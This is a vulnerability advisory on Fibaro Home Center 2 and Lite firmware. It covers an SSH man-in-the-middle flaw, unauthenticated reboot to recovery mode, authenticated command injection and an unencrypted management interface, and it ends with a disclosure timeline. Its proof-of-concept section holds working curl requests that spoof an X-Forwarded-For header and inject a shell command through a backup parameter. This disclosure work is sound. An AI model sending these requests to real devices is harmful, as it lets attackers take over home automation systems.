Overview
The Fibaro
Home Center 2 and
Home Center Lite (running versions 4.600, 4.550 and earlier versions) are affected by multiple vulnerabilities: man-in-the-middle attack between the device and the Fibaro cloud, unauthenticated shutdown/reboot/recovery mode access, authenticated remote command injection, and possible eavesdrop on an unencrypted management interface. Fibaro has released an updated firmware 4.610 (
HC2 /
HCL )to address most of the issues. Users are advised to upgrade.
[caption id="attachment_4101" align="aligncenter" width="466"]

Fibaro Home Center © Fibaro[/caption]
Vulnerability Overview
Cloud SSH Connection Man-in-the-Middle Attack (CVE-2021-20989) #1
Home Center devices initiate SSH connections to the Fibaro cloud to provide remote access and remote support capabilities. This connection can be intercepted using a man-in-the-middle attack, and a device initiated remote port-forward channel can be used to connect to the web management interface. IoT Inspector identified a disabled SSH host key check, which enables man-in-the-middle attacks.
By initiating connections to the Fibaro cloud, an attacker can eavesdrop on communication between the user and the device. As communication inside the SSH port-forward is not encrypted (see #4 on management interface), user sessions, tokens and passwords can be hijacked.
Unauthenticated access to shutdown, reboot, and reboot to recovery mode (CVE-2021-20990) #2
An internal management service is accessible on port 8000 and some API endpoints could be accessed without authentication to trigger a shutdown, a reboot, or a reboot into recovery mode. In recovery mode, an attacker can upload firmware without authentication. (Potentially an earlier version with known remote command execution vulnerability, see #3)
An authenticated user can run commands as root user using a command injection vulnerability.
Similar problems were also discovered by Pavel Cheremushkin from Kaspersky ICS Cert:
Unencrypted management interface (CVE-2021-20992) #4

Proof of Concept
Home Center devices provide a web based management interface over unencrypted HTTP protocol. Communication between the user and the device can be eavesdropped to hijack sessions, tokens, and passwords. The management interface is only available over HTTP on the local network. The vendor recommends using the cloud-based management interface, which is accessible over HTTPS and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device.
Cloud SSH Connection Man-in-the-Middle Attack
<code>./etc/init.d/fibaro/RemoteAccess</code>
<code>./etc/init.d/fibaro/RemoteAccess</code>
./etc/init.d/fibaro/RemoteAccess
./etc/init.d/fibaro/RemoteAccess
local GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}"
local IP_Response; IP_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')
local GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}"
local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')
start-stop-daemon --start --background --pidfile "${PIDFILE}" --make-pidfile --startas /usr/bin/screen \
-- -DmS ${NAME} ${DAEMON} -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80 remote2@"${IP_Response}"
DAEMON=/usr/bin/ssh
....
case "$1" in
start)
.....
# get IP
local GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}"
local IP_Response; IP_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')
# get PORT
local GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}"
local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')
....
start-stop-daemon --start --background --pidfile "${PIDFILE}" --make-pidfile --startas /usr/bin/screen \
-- -DmS ${NAME} ${DAEMON} -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80 remote2@"${IP_Response}"
DAEMON=/usr/bin/ssh
....
case "$1" in
start)
.....
# get IP
local GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}"
local IP_Response; IP_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')
# get PORT
local GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}"
local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')
....
start-stop-daemon --start --background --pidfile "${PIDFILE}" --make-pidfile --startas /usr/bin/screen \
-- -DmS ${NAME} ${DAEMON} -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80 remote2@"${IP_Response}"
-y
-y
lb-1.eu.ra.fibaro.com
lb-1.eu.ra.fibaro.com
-R "${PORT_Response}":localhost:80
-R "${PORT_Response}":localhost:80
<code>./opt/fibaro/scripts/remote-support.lua</code>
<code>./opt/fibaro/scripts/remote-support.lua</code>
./opt/fibaro/scripts/remote-support.lua
./opt/fibaro/scripts/remote-support.lua
function handleResponse(response)
responseJson = json.decode(response.data)
print(json.encode(responseJson))
local autoSSHCommand = 'ssh -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R ' .. responseJson.private_ip.. ':' .. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip
os.execute(autoSSHCommand)
function getSupportData()
remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint=' .. serialNumber .. '&HW_Key=' .. HWKey
http = net.HTTPClient({timeout = 5000})
http:request(remoteUrl, {
success = function(response)
function handleResponse(response)
responseJson = json.decode(response.data)
print(json.encode(responseJson))
local autoSSHCommand = 'ssh -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R ' .. responseJson.private_ip.. ':' .. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip
os.execute(autoSSHCommand)
end
function getSupportData()
remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint=' .. serialNumber .. '&HW_Key=' .. HWKey
print(remoteUrl)
http = net.HTTPClient({timeout = 5000})
http:request(remoteUrl, {
options = {
method = 'GET'
},
success = function(response)
handleResponse(response)
end,
error = function(error)
print(error)
end
})
end
getSupportData()
function handleResponse(response)
responseJson = json.decode(response.data)
print(json.encode(responseJson))
local autoSSHCommand = 'ssh -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R ' .. responseJson.private_ip.. ':' .. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip
os.execute(autoSSHCommand)
end
function getSupportData()
remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint=' .. serialNumber .. '&HW_Key=' .. HWKey
print(remoteUrl)
http = net.HTTPClient({timeout = 5000})
http:request(remoteUrl, {
options = {
method = 'GET'
},
success = function(response)
handleResponse(response)
end,
error = function(error)
print(error)
end
})
end
getSupportData()
{"ip":"fwd-support.eu.ra.fibaro.com","port":"XXXXX","private_ip":"10.100.YYY.ZZZ"}
{"ip":"fwd-support.eu.ra.fibaro.com","port":"XXXXX","private_ip":"10.100.YYY.ZZZ"}
-y
-y
Home Center devices initiate a SSH connection to the Fibaro cloud
The device uses dropbear ssh to initiate the connection; option disables any host-key checks, voiding much of the otherwise added transport-layer security by SSH: "Always accept hostkeys if they are unknown."
The above "get IP" endpoint returns the address of the Fibaro cloud, e.g.:
An attacker can use DNS spoofing or other means to intercept the connection. By using any hostkey, the attacker can successfully authenticate the SSH connection. Once the connection is authenticated, the client initiates a remote port-forward:
This enables the attacker to access port 80 (management interface) of the device.
A similar problem exists for remote support connections:
Here, the remote support endpoint returns the following data:
The same dropbear ssh client is used with option . In this case, port 22 (ssh) is made accessible through the port-forward. However, the device only allows public key authentication with a hard-coded SSH key. No further testing has been done on compromising the support SSH connection.
Unauthenticated Access to Shutdown, Reboot, and Reboot to Recovery Mode
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://127.0.0.1:8000;
proxy_pass http://127.0.0.1:8000;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location ~* \.php$ {
proxy_pass http://127.0.0.1:8000;
}
location ~* \.php\?.* {
proxy_pass http://127.0.0.1:8000;
}
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location ~* \.php$ {
proxy_pass http://127.0.0.1:8000;
}
location ~* \.php\?.* {
proxy_pass http://127.0.0.1:8000;
}
X-Forwarded-For
X-Forwarded-For
<code>./var/www/authorize.php</code>
<code>./var/www/authorize.php</code>
./var/www/authorize.php
./var/www/authorize.php
function isLocalRequest()
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
$ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
$ipAddress = $_SERVER['REMOTE_ADDR'];
$whitelist = array( '127.0.0.1', '::1' );
if(in_array($ipAddress, $whitelist))
function isLocalRequest()
{
$ipAddress = "";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
$ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
else
$ipAddress = $_SERVER['REMOTE_ADDR'];
$whitelist = array( '127.0.0.1', '::1' );
if(in_array($ipAddress, $whitelist))
return true;
return false;
}
function isLocalRequest()
{
$ipAddress = "";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
$ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
else
$ipAddress = $_SERVER['REMOTE_ADDR'];
$whitelist = array( '127.0.0.1', '::1' );
if(in_array($ipAddress, $whitelist))
return true;
return false;
}
X-Forwarded-For
X-Forwarded-For
isLocalRequest
isLocalRequest
<code>./var/www/services/system/shutdown.php</code>
<code>./var/www/services/system/shutdown.php</code>
./var/www/services/system/shutdown.php
./var/www/services/system/shutdown.php
require_once("../../authorize.php");
if (!isLocalRequest() && !isAuthorized())
<?php
require_once("../../authorize.php");
if (!isLocalRequest() && !isAuthorized())
{
sendUnauthorized();
}
else
{
exec("systemShutdown");
}
?>
<?php
require_once("../../authorize.php");
if (!isLocalRequest() && !isAuthorized())
{
sendUnauthorized();
}
else
{
exec("systemShutdown");
}
?>
<code>./var/www/services/system/reboot.php</code>
<code>./var/www/services/system/reboot.php</code>
./var/www/services/system/reboot.php
./var/www/services/system/reboot.php
return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER, role::INSTALLER));
function handlePOST($text)
if (!isLocalRequest() && !authorize())
$params = tryDecodeJson($text);
if(!is_null($params) && isset($params->recovery) && $params->recovery === true)
exec("rebootToRecovery");
$requestBody = file_get_contents('php://input');
$requestMethod = $_SERVER['REQUEST_METHOD'];
if ($requestMethod == "POST")
handlePOST($requestBody);
setStatusMethodNotAllowed();
function authorize()
{
return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER, role::INSTALLER));
}
function handlePOST($text)
{
if (!isLocalRequest() && !authorize())
{
sendUnauthorized();
return;
}
$params = tryDecodeJson($text);
if(!is_null($params) && isset($params->recovery) && $params->recovery === true)
exec("rebootToRecovery");
else
exec("systemReboot");
}
$requestBody = file_get_contents('php://input');
$requestMethod = $_SERVER['REQUEST_METHOD'];
if ($requestMethod == "POST")
handlePOST($requestBody);
else
setStatusMethodNotAllowed();
function authorize()
{
return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER, role::INSTALLER));
}
function handlePOST($text)
{
if (!isLocalRequest() && !authorize())
{
sendUnauthorized();
return;
}
$params = tryDecodeJson($text);
if(!is_null($params) && isset($params->recovery) && $params->recovery === true)
exec("rebootToRecovery");
else
exec("systemReboot");
}
$requestBody = file_get_contents('php://input');
$requestMethod = $_SERVER['REQUEST_METHOD'];
if ($requestMethod == "POST")
handlePOST($requestBody);
else
setStatusMethodNotAllowed();
curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Content-Type: application/json' -d '{"recovery":true}' http://DEVICE:8000/services/system/reboot.php
curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Content-Type: application/json' -d '{"recovery":true}' http://DEVICE:8000/services/system/reboot.php
The device is running a nginx server, which forwards some requests to a lighttpd server (8000) for further processing:
The lighttpd server is not only accessible locally, but also via the local network.
Authentication and authorization is implemented in PHP, and there is a special check for connections originating from within the host. However, when checking the remote IP address, the header is also considered:
As the lighttpd service available via the network, an attacked can inject the required header as well.
The check is used to "secure" multiple endpoints:
An attacker can issue the the following HTTP request to reboot the device into recovery mode:
In recovery mode, firmware images can be updated without authentication.
Authenticated Remote Command Execution (versions before 4.550)
<code>./var/www/services/system/backups.php</code>
<code>./var/www/services/system/backups.php</code>
./var/www/services/system/backups.php
./var/www/services/system/backups.php
function restoreBackup($params)
if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0)
setStatusTooManyRequests();
$version = $params->version;
if (is_null($id) || !is_numeric($id) || $id < 1 )
$hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3");
if ($type == "local" && $hcVersion == "HC2" || $type == "remote")
exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id . ' ' . $version) :
exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id);
function restoreBackup($params)
{
if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0)
{
setStatusTooManyRequests();
return;
}
$type = $params->type;
$id = $params->id;
$version = $params->version;
if (is_null($id) || !is_numeric($id) || $id < 1 )
{
setStatusBadRequest();
return;
}
$hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3");
if ($type == "local" && $hcVersion == "HC2" || $type == "remote")
{
$version ?
exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id . ' ' . $version) :
exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id);
}
else
{
setStatusBadRequest();
return;
}
setStatusAccepted();
}
function restoreBackup($params)
{
if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0)
{
setStatusTooManyRequests();
return;
}
$type = $params->type;
$id = $params->id;
$version = $params->version;
if (is_null($id) || !is_numeric($id) || $id < 1 )
{
setStatusBadRequest();
return;
}
$hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3");
if ($type == "local" && $hcVersion == "HC2" || $type == "remote")
{
$version ?
exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id . ' ' . $version) :
exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id);
}
else
{
setStatusBadRequest();
return;
}
setStatusAccepted();
}
$version
$version
exec()
exec()
cat > /tmp/exploit <<- EOM
cat > /tmp/exploit <<- EOM
{"action": "restore", "params": {"type": "remote", "id": 1, "version": "1; INJECTED COMMAND"}}
{"action": "restore", "params": {"type": "remote", "id": 1, "version": "1; INJECTED COMMAND"}}
EOM
EOM
curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'content-type: application/json' -d@/tmp/exploit http://DEVICE/services/system/backups.php
curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'content-type: application/json' -d@/tmp/exploit http://DEVICE/services/system/backups.php
$version = escapeshellarg($params->version);
$version = escapeshellarg($params->version);
Backup & restore operations could be triggered through HTTP endpoints:
The parameter is not sanitized or escaped, which allows an attacker to inject shell commands into the call:
Version 4.550 and later have proper escaping:
Unencrypted Management Interface
PORT STATE SERVICE
PORT STATE SERVICE
22/tcp open ssh
22/tcp open ssh
80/tcp open http
80/tcp open http
8000/tcp open http-alt
8000/tcp open http-alt
Solution
Timeline
NMAP shows a few open ports on the box:
Both 80/tcp, and 8000/tcp can be accessed over unencrypted HTTP.
Upgrade to the version 4.610 or latest version, which fixes vulnerabilities 1, 2 and 3.
Vulnerability 4 is not fixed, as the vendor assumes that the local network is trusted and the device only provides wired network access. Furthermore, the vendor recommends using the cloud-based management interface, which is accessible over HTTPS, and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device.
2020-11-18: Contacting Fibaro through support@fibaro.com, support-usa@fibaro.com, info@fibaro.com, recepcja@fibargroup.com
2020-11-23: Contacting Fibaro on Facebook & LinkedIn, got response on LinkedIn
2020-11-24: Adivsory sent to Fibaro by email
2020-12-01: Fibaro confirmed the receipt of the advisory
2021-02-02: Meeting with Fibaro to discuss the vulnerabilities and fixes
2021-03-16: Fibaro beta release (4.601) with the fixes
2021-03-24: Fibaro applies for CVE numbers
2021-03-31: Fibaro GA release (4.610) with the fix
2021-04-08: IoT Inspector Research Lab publishes advisory